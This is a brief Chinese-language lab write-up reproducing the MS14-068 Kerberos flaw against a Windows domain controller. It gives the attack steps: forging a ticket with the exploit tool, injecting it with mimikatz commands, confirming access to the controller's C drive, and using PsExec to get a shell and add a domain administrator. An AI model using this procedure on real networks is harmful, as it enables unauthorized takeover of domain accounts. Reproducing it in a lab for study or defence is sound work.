MS14-068复现

域控制器

漏洞利用的域用户

---

1. 首先利用ms14-068提权工具生成伪造的kerberos协议认证证书（黄金票据）
2. 利用mimikatz.exe将证书写入，从而提升为域管理员
3. 测试是否能访问域控C盘目录，能访问则说明提升为域管理员
4. 利用PsExec.exe获取域控shell，添加用户并将其加入域管理员组

---

直接访问域控制器的C盘目录：

不能访问

查看本机用户信息,记录用户名与SID号whoami /all

进入MS14-068目录，使用以下命令：
MS14-068.exe -u @ -p -s -d

打开mimikatz，注入票据

mimikatz # kerberos::purge          //清空当前凭证
mimikatz # kerberos::list           //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件    //将上一步生成的票据注入到内存中

再次列出域控制器的C盘目录：

使用PSTools目录下的PsExec.exe获取shell:

添加域管理员